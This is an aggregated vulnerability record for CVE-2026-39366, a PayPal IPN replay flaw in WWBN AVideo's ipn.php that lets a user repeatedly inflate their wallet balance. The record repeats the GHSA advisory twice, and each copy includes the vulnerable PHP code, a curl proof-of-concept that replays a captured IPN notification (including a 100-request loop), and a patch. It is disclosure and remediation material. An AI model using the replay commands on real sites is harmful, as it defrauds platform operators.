{"id":"CVE-2026-39366","aliases":["EUVD-2026-19878","GHSA-mmw7-wq3c-wf9p"],"status":"published","title":"WWBN AVideo Affected by a PayPal IPN Replay Attack Enabling Wallet Balance Inflation via Missing Transaction Deduplication in ipn.php","description":"WWBN AVideo is an open source video platform. In versions 26.0 and prior, the PayPal IPN v1 handler at plugin/PayPalYPT/ipn.php lacks transaction deduplication, allowing an attacker to replay a single legitimate IPN notification to repeatedly inflate their wallet balance and renew subscriptions. The newer ipnV2.php and webhook.php handlers correctly deduplicate via PayPalYPT_log entries, but the v1 handler was never updated and remains actively referenced as the notify_url for billing plans.","severity":{"version":"3.1","score":6.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N","level":"medium","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-10","score":0.00176,"percentile":0.07182,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":false},"cwes":["CWE-345"],"published":"2026-04-07T19:21:12Z","modified":"2026-10-28T02:30:51Z","affected":[{"source":"ghsa","ecosystem":"Packagist","package":"wwbn/avideo","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"last_affected":"26.0"}]}]},{"source":"osv","ecosystem":"Packagist","package":"wwbn/avideo","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"last_affected":"26.0"}]}],"versions":["10.4","10.8","11","11.1","11.1.1","11.5","11.6","12.4","14.3","14.3.1","14.4","18.0","21.0","22.0","24.0","25.0","26.0"]}],"products":[{"vendor":"wwbn","product":"avideo"}],"references":[{"url":"https://github.com/WWBN/AVideo/security/advisories/GHSA-mmw7-wq3c-wf9p","tags":["x_refsource_CONFIRM","exploit","Third Party Advisory","advisory","web"]},{"url":"https://github.com/WWBN/AVideo/commit/8f53e9d9c6aaa07d51ace30691981edbbfb5ca1c","tags":["x_refsource_MISC","Patch","fix","web"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-39366","tags":["advisory"]},{"url":"https://github.com/advisories/GHSA-mmw7-wq3c-wf9p"},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/39xxx/CVE-2026-39366.json","tags":["advisory"]},{"url":"https://github.com/WWBN/AVideo","tags":["package"]}],"sources":{"cve":[{"id":"CVE-2026-39366","title":"WWBN AVideo Affected by a PayPal IPN Replay Attack Enabling Wallet Balance Inflation via Missing Transaction Deduplication in ipn.php","description":"WWBN AVideo is an open source video platform. In versions 26.0 and prior, the PayPal IPN v1 handler at plugin/PayPalYPT/ipn.php lacks transaction deduplication, allowing an attacker to replay a single legitimate IPN notification to repeatedly inflate their wallet balance and renew subscriptions. The newer ipnV2.php and webhook.php handlers correctly deduplicate via PayPalYPT_log entries, but the v1 handler was never updated and remains actively referenced as the notify_url for billing plans.","status":"published","published":"2026-04-07T19:21:12.156Z","modified":"2026-04-08T19:23:04.265Z","cvss":[{"version":"3.1","score":6.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N","level":"medium","assessor":"cna"}],"cwes":["CWE-345"],"updated_at":"2026-11-02T14:20:02.662847Z"}],"euvd":[{"id":"EUVD-2026-19878","description":"WWBN AVideo is an open source video platform. In versions 26.0 and prior, the PayPal IPN v1 handler at plugin/PayPalYPT/ipn.php lacks transaction deduplication, allowing an attacker to replay a single legitimate IPN notification to repeatedly inflate their wallet balance and renew subscriptions. The newer ipnV2.php and webhook.php handlers correctly deduplicate via PayPalYPT_log entries, but the v1 handler was never updated and remains actively referenced as the notify_url for billing plans.","status":"published","published":"2026-04-07T19:21:12Z","modified":"2026-04-08T19:23:04Z","cvss":[{"version":"3.1","score":6.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N","level":"medium"}],"updated_at":"2026-11-02T19:24:31.230458Z"}],"ghsa":[{"id":"GHSA-mmw7-wq3c-wf9p","title":"WWBN AVideo Affected by a PayPal IPN Replay Attack Enabling Wallet Balance Inflation via Missing Transaction Deduplication in ipn.php","description":"## Summary\n\nThe PayPal IPN v1 handler at `plugin/PayPalYPT/ipn.php` lacks transaction deduplication, allowing an attacker to replay a single legitimate IPN notification to repeatedly inflate their wallet balance and renew subscriptions. The newer `ipnV2.php` and `webhook.php` handlers correctly deduplicate via `PayPalYPT_log` entries, but the v1 handler was never updated and remains actively referenced as the `notify_url` for billing plans.\n\n## Details\n\nWhen a recurring payment IPN arrives at `ipn.php`, the handler:\n\n1. Verifies authenticity via `PayPalYPT::IPNcheck()` (line 16), which sends the POST data to PayPal's `cmd=_notify-validate` endpoint. PayPal confirms the data is genuine but this verification is **stateless** — PayPal returns `VERIFIED` for the same authentic data on every submission.\n\n2. Looks up the subscription from `recurring_payment_id` and directly credits the user's wallet (lines 41-53):\n\n```php\n// plugin/PayPalYPT/ipn.php lines 41-53\n$row = Subscription::getFromAgreement($_POST[\"recurring_payment_id\"]);\n$users_id = $row['users_id'];\n$payment_amount = empty($_POST['mc_gross']) ? $_POST['amount'] : $_POST['mc_gross'];\n$payment_currency = empty($_POST['mc_currency']) ? $_POST['currency_code'] : $_POST['mc_currency'];\nif ($walletObject-\u003ecurrency===$payment_currency) {\n    $plugin-\u003eaddBalance($users_id, $payment_amount, \"Paypal recurrent\", json_encode($_POST));\n    Subscription::renew($users_id, $row['subscriptions_plans_id']);\n    $obj-\u003eerror = false;\n}\n```\n\nNo `txn_id` uniqueness check. No `PayPalYPT_log` entry created. No deduplication of any kind.\n\nCompare with the patched handlers:\n- **`ipnV2.php`** (line 50): `PayPalYPT::isTokenUsed($_GET['token'])` and (line 93): `PayPalYPT::isRecurringPaymentIdUsed($_POST[\"verify_sign\"])`, with `PayPalYPT_log` entries saved on success.\n- **`webhook.php`** (line 30): `PayPalYPT::isTokenUsed($token)` with `PayPalYPT_log` entry saved on success.\n\nThe v1 `ipn.php` is still actively configured as `notify_url` in `PayPalYPT.php` at lines 85, 193, and 308:\n```php\n$notify_url = \"{$global['webSiteRootURL']}plugin/PayPalYPT/ipn.php\";\n```\n\n## PoC\n\n```bash\n# Prerequisites: A registered AVideo account with at least one completed PayPal subscription.\n\n# Step 1: Complete a legitimate PayPal subscription.\n# This generates an IPN notification to ipn.php containing your recurring_payment_id.\n\n# Step 2: Capture the IPN POST body. This is available from:\n# - PayPal's IPN History (paypal.com \u003e Settings \u003e IPN History)\n# - Network interception during the initial subscription flow\n\n# Step 3: Replay the captured IPN to inflate wallet balance.\n# Each replay adds the subscription amount to the attacker's wallet.\n\n# Single replay:\ncurl -X POST 'https://target.com/plugin/PayPalYPT/ipn.php' \\\n  -d 'recurring_payment_id=I-XXXXXXXXXX\u0026mc_gross=9.99\u0026mc_currency=USD\u0026payment_status=Completed\u0026txn_type=recurring_payment\u0026verify_sign=REAL_VERIFY_SIGN\u0026payer_email=attacker@example.com'\n\n# Bulk replay (100x = 100x the subscription amount added to wallet):\nfor i in $(seq 1 100); do\n  curl -s -X POST 'https://target.com/plugin/PayPalYPT/ipn.php' \\\n    -d 'recurring_payment_id=I-XXXXXXXXXX\u0026mc_gross=9.99\u0026mc_currency=USD\u0026payment_status=Completed\u0026txn_type=recurring_payment\u0026verify_sign=REAL_VERIFY_SIGN\u0026payer_email=attacker@example.com'\ndone\n\n# Each request passes IPNcheck() (PayPal confirms the data is authentic),\n# then addBalance() credits the wallet and Subscription::renew() extends the subscription.\n```\n\n## Impact\n\n- **Unlimited wallet balance inflation**: An attacker can replay a single legitimate IPN to add arbitrary multiples of the subscription amount to their wallet balance, enabling free access to all paid content.\n- **Unlimited subscription renewals**: Each replay also calls `Subscription::renew()`, indefinitely extending subscription access from a single payment.\n- **Financial loss**: Platform operators lose revenue as attackers obtain paid services without corresponding payments.\n\n## Recommended Fix\n\nAdd deduplication to `ipn.php` consistent with the approach already used in `ipnV2.php` and `webhook.php`. Record each processed transaction in `PayPalYPT_log` and check before processing:\n\n```php\n// plugin/PayPalYPT/ipn.php — replace lines 41-57 with:\n} else {\n    _error_log(\"PayPalIPN: recurring_payment_id = {$_POST[\"recurring_payment_id\"]} \");\n\n    // Deduplication: check if this IPN was already processed\n    $dedup_key = !empty($_POST['txn_id']) ? $_POST['txn_id'] : $_POST['verify_sign'];\n    if (PayPalYPT::isRecurringPaymentIdUsed($dedup_key)) {\n        _error_log(\"PayPalIPN: already processed, skipping\");\n        die(json_encode($obj));\n    }\n\n    $subscription = AVideoPlugin::loadPluginIfEnabled(\"Subscription\");\n    if (!empty($subscription)) {\n        $row = Subscription::getFromAgreement($_POST[\"recurring_payment_id\"]);\n        _error_log(\"PayPalIPN: user found from recurring_payment_id (users_id = {$row['users_id']}) \");\n        $users_id = $row['users_id'];\n        $payment_amount = empty($_POST['mc_gross']) ? $_POST['amount'] : $_POST['mc_gross'];\n        $payment_currency = empty($_POST['mc_currency']) ? $_POST['currency_code'] : $_POST['mc_currency'];\n        if ($walletObject-\u003ecurrency===$payment_currency) {\n            // Log the transaction for deduplication\n            $pp = new PayPalYPT_log(0);\n            $pp-\u003esetUsers_id($users_id);\n            $pp-\u003esetRecurring_payment_id($dedup_key);\n            $pp-\u003esetValue($payment_amount);\n            $pp-\u003esetJson(['post' =\u003e $_POST]);\n            if ($pp-\u003esave()) {\n                $plugin-\u003eaddBalance($users_id, $payment_amount, \"Paypal recurrent\", json_encode($_POST));\n                Subscription::renew($users_id, $row['subscriptions_plans_id']);\n                $obj-\u003eerror = false;\n            }\n        } else {\n            _error_log(\"PayPalIPN: FAIL currency check $walletObject-\u003ecurrency===$payment_currency \");\n        }\n    }\n}\n```\n\nAdditionally, consider migrating the `notify_url` references in `PayPalYPT.php` (lines 85, 193, 308) from `ipn.php` to `ipnV2.php` or `webhook.php`, and eventually deprecating the v1 IPN handler entirely.","status":"published","published":"2026-04-08T00:08:33Z","modified":"2026-04-08T00:08:33Z","cvss":[{"version":"3.1","score":6.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N","level":"medium"}],"cwes":["CWE-345"],"updated_at":"2026-11-02T14:39:51.193071Z"}],"nvd":[{"id":"CVE-2026-39366","description":"WWBN AVideo is an open source video platform. In versions 26.0 and prior, the PayPal IPN v1 handler at plugin/PayPalYPT/ipn.php lacks transaction deduplication, allowing an attacker to replay a single legitimate IPN notification to repeatedly inflate their wallet balance and renew subscriptions. The newer ipnV2.php and webhook.php handlers correctly deduplicate via PayPalYPT_log entries, but the v1 handler was never updated and remains actively referenced as the notify_url for billing plans.","status":"published","published":"2026-04-07T20:16:30.51Z","modified":"2026-07-24T21:10:00.143Z","cvss":[{"version":"3.1","score":6.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N","level":"medium","assessor":"secondary"}],"cwes":["CWE-345"],"updated_at":"2026-11-02T14:12:13.535987Z"}],"osv":[{"id":"CVE-2026-39366","title":"WWBN AVideo Affected by a PayPal IPN Replay Attack Enabling Wallet Balance Inflation via Missing Transaction Deduplication in ipn.php","description":"WWBN AVideo is an open source video platform. In versions 26.0 and prior, the PayPal IPN v1 handler at plugin/PayPalYPT/ipn.php lacks transaction deduplication, allowing an attacker to replay a single legitimate IPN notification to repeatedly inflate their wallet balance and renew subscriptions. The newer ipnV2.php and webhook.php handlers correctly deduplicate via PayPalYPT_log entries, but the v1 handler was never updated and remains actively referenced as the notify_url for billing plans.","status":"published","published":"2026-04-07T19:21:12.156Z","modified":"2026-10-28T02:30:51.56461097Z","cvss":[{"version":"3.1","score":6.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N","level":"medium"}],"cwes":["CWE-345"],"updated_at":"2026-11-02T15:45:03.040464Z"},{"id":"GHSA-mmw7-wq3c-wf9p","title":"WWBN AVideo Affected by a PayPal IPN Replay Attack Enabling Wallet Balance Inflation via Missing Transaction Deduplication in ipn.php","description":"## Summary\n\nThe PayPal IPN v1 handler at `plugin/PayPalYPT/ipn.php` lacks transaction deduplication, allowing an attacker to replay a single legitimate IPN notification to repeatedly inflate their wallet balance and renew subscriptions. The newer `ipnV2.php` and `webhook.php` handlers correctly deduplicate via `PayPalYPT_log` entries, but the v1 handler was never updated and remains actively referenced as the `notify_url` for billing plans.\n\n## Details\n\nWhen a recurring payment IPN arrives at `ipn.php`, the handler:\n\n1. Verifies authenticity via `PayPalYPT::IPNcheck()` (line 16), which sends the POST data to PayPal's `cmd=_notify-validate` endpoint. PayPal confirms the data is genuine but this verification is **stateless** — PayPal returns `VERIFIED` for the same authentic data on every submission.\n\n2. Looks up the subscription from `recurring_payment_id` and directly credits the user's wallet (lines 41-53):\n\n```php\n// plugin/PayPalYPT/ipn.php lines 41-53\n$row = Subscription::getFromAgreement($_POST[\"recurring_payment_id\"]);\n$users_id = $row['users_id'];\n$payment_amount = empty($_POST['mc_gross']) ? $_POST['amount'] : $_POST['mc_gross'];\n$payment_currency = empty($_POST['mc_currency']) ? $_POST['currency_code'] : $_POST['mc_currency'];\nif ($walletObject-\u003ecurrency===$payment_currency) {\n    $plugin-\u003eaddBalance($users_id, $payment_amount, \"Paypal recurrent\", json_encode($_POST));\n    Subscription::renew($users_id, $row['subscriptions_plans_id']);\n    $obj-\u003eerror = false;\n}\n```\n\nNo `txn_id` uniqueness check. No `PayPalYPT_log` entry created. No deduplication of any kind.\n\nCompare with the patched handlers:\n- **`ipnV2.php`** (line 50): `PayPalYPT::isTokenUsed($_GET['token'])` and (line 93): `PayPalYPT::isRecurringPaymentIdUsed($_POST[\"verify_sign\"])`, with `PayPalYPT_log` entries saved on success.\n- **`webhook.php`** (line 30): `PayPalYPT::isTokenUsed($token)` with `PayPalYPT_log` entry saved on success.\n\nThe v1 `ipn.php` is still actively configured as `notify_url` in `PayPalYPT.php` at lines 85, 193, and 308:\n```php\n$notify_url = \"{$global['webSiteRootURL']}plugin/PayPalYPT/ipn.php\";\n```\n\n## PoC\n\n```bash\n# Prerequisites: A registered AVideo account with at least one completed PayPal subscription.\n\n# Step 1: Complete a legitimate PayPal subscription.\n# This generates an IPN notification to ipn.php containing your recurring_payment_id.\n\n# Step 2: Capture the IPN POST body. This is available from:\n# - PayPal's IPN History (paypal.com \u003e Settings \u003e IPN History)\n# - Network interception during the initial subscription flow\n\n# Step 3: Replay the captured IPN to inflate wallet balance.\n# Each replay adds the subscription amount to the attacker's wallet.\n\n# Single replay:\ncurl -X POST 'https://target.com/plugin/PayPalYPT/ipn.php' \\\n  -d 'recurring_payment_id=I-XXXXXXXXXX\u0026mc_gross=9.99\u0026mc_currency=USD\u0026payment_status=Completed\u0026txn_type=recurring_payment\u0026verify_sign=REAL_VERIFY_SIGN\u0026payer_email=attacker@example.com'\n\n# Bulk replay (100x = 100x the subscription amount added to wallet):\nfor i in $(seq 1 100); do\n  curl -s -X POST 'https://target.com/plugin/PayPalYPT/ipn.php' \\\n    -d 'recurring_payment_id=I-XXXXXXXXXX\u0026mc_gross=9.99\u0026mc_currency=USD\u0026payment_status=Completed\u0026txn_type=recurring_payment\u0026verify_sign=REAL_VERIFY_SIGN\u0026payer_email=attacker@example.com'\ndone\n\n# Each request passes IPNcheck() (PayPal confirms the data is authentic),\n# then addBalance() credits the wallet and Subscription::renew() extends the subscription.\n```\n\n## Impact\n\n- **Unlimited wallet balance inflation**: An attacker can replay a single legitimate IPN to add arbitrary multiples of the subscription amount to their wallet balance, enabling free access to all paid content.\n- **Unlimited subscription renewals**: Each replay also calls `Subscription::renew()`, indefinitely extending subscription access from a single payment.\n- **Financial loss**: Platform operators lose revenue as attackers obtain paid services without corresponding payments.\n\n## Recommended Fix\n\nAdd deduplication to `ipn.php` consistent with the approach already used in `ipnV2.php` and `webhook.php`. Record each processed transaction in `PayPalYPT_log` and check before processing:\n\n```php\n// plugin/PayPalYPT/ipn.php — replace lines 41-57 with:\n} else {\n    _error_log(\"PayPalIPN: recurring_payment_id = {$_POST[\"recurring_payment_id\"]} \");\n\n    // Deduplication: check if this IPN was already processed\n    $dedup_key = !empty($_POST['txn_id']) ? $_POST['txn_id'] : $_POST['verify_sign'];\n    if (PayPalYPT::isRecurringPaymentIdUsed($dedup_key)) {\n        _error_log(\"PayPalIPN: already processed, skipping\");\n        die(json_encode($obj));\n    }\n\n    $subscription = AVideoPlugin::loadPluginIfEnabled(\"Subscription\");\n    if (!empty($subscription)) {\n        $row = Subscription::getFromAgreement($_POST[\"recurring_payment_id\"]);\n        _error_log(\"PayPalIPN: user found from recurring_payment_id (users_id = {$row['users_id']}) \");\n        $users_id = $row['users_id'];\n        $payment_amount = empty($_POST['mc_gross']) ? $_POST['amount'] : $_POST['mc_gross'];\n        $payment_currency = empty($_POST['mc_currency']) ? $_POST['currency_code'] : $_POST['mc_currency'];\n        if ($walletObject-\u003ecurrency===$payment_currency) {\n            // Log the transaction for deduplication\n            $pp = new PayPalYPT_log(0);\n            $pp-\u003esetUsers_id($users_id);\n            $pp-\u003esetRecurring_payment_id($dedup_key);\n            $pp-\u003esetValue($payment_amount);\n            $pp-\u003esetJson(['post' =\u003e $_POST]);\n            if ($pp-\u003esave()) {\n                $plugin-\u003eaddBalance($users_id, $payment_amount, \"Paypal recurrent\", json_encode($_POST));\n                Subscription::renew($users_id, $row['subscriptions_plans_id']);\n                $obj-\u003eerror = false;\n            }\n        } else {\n            _error_log(\"PayPalIPN: FAIL currency check $walletObject-\u003ecurrency===$payment_currency \");\n        }\n    }\n}\n```\n\nAdditionally, consider migrating the `notify_url` references in `PayPalYPT.php` (lines 85, 193, 308) from `ipn.php` to `ipnV2.php` or `webhook.php`, and eventually deprecating the v1 IPN handler entirely.","status":"published","published":"2026-04-08T00:08:33Z","modified":"2026-04-08T00:27:16.874237Z","cvss":[{"version":"3.1","score":6.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N","level":"medium"}],"cwes":["CWE-345"],"updated_at":"2026-11-02T15:46:52.170928Z"}]}}
